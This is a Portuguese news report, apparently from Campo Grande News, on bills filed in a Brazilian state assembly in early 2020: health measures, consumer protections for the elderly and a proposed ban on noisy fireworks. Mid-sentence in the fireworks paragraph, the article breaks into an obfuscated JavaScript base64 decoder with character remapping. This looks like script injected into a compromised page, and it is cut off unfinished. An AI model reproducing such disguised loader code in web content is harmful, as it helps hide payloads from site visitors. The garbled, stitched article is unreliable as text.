Sem votações, novos projetos focam em saúde e direito do consumidor
Após duas semanas de trabalho legislativo, foram apresentados 21 projetos neste começo do ano, tendo que o foco maior é na área da saúde e no direito do consumidor. No entanto, propostas voltadas a questão tributária e educação entraram em pauta. Os deputados ainda não votaram projetos porque faltava definir as comissões.
O setor da saúde teve mais atenção dos parlamentares, entre elas que cria uma “sala de descanso” para enfermeiros nos hospitais, e ainda cria um fundo estadual para financiar cirurgias nas unidades filantrópicas. Ambos os projetos do deputado Evander Vendramini (PP). Buscando a prevenção de doenças, também surgiu a proposta de exigir “álcool” em gel em locais públicos, como hotéis, supermercados e shoppings.
“O foco não é punir e sim prevenir a população em locais que tem muita gente circulando”, justificou o autor, o deputado José Carlos Barbosa (DEM). A medida surge como prevenção depois do surgimento do coronavírus, que ainda não tem caso registrado no Brasil. A saúde volta para pauta dos parlamentares já no começo do ano.
Direito – Outro tema que ganhou espaço na Assembleia ano passado, o “direito do consumidor” já pareceu em vários projetos em 2020. Os deputados alegam que eles podem legislar sobre o assunto, tendo aval jurídico. Entre as medidas propostas está o pagamento da fatura de energia na hora do corte do serviço. “O objetivo o atendimento das necessidades dos consumidores”, disse o autor, Marçal Filho (PSDB).
Outra medida para evitar endividamento, é a exigência da assinatura física de idosos na hora de adquirir empréstimos. A intenção é que este negócio não seja feito por telefone ou internet. Ano passado, este público (idosos) recebeu atenção dos parlamentares, com restrições devido ao aumento de dívidas nos últimos anos.
Mudanças - Uma das medidas polêmicas apresentadas está a proibição do uso de fogos de artifício e artefatos pirotécnicos com estampido, ou seja, que produzem barulho. O deputado Neno Razuk (PTB) alega que estes produtos prejudicam a function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
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Os deputados ainda não votaram projetos neste ano, só analisaram alguns vetos do governo estadual. A expectativa é avaliar as propostas novas e antigas na próxima semana, depois que retornar os trabalhos da CCJ (Comissão de Constituição e Justiça). A comissão tem sua primeira reunião marcada para dia 4 de março.
Via Campo Grande News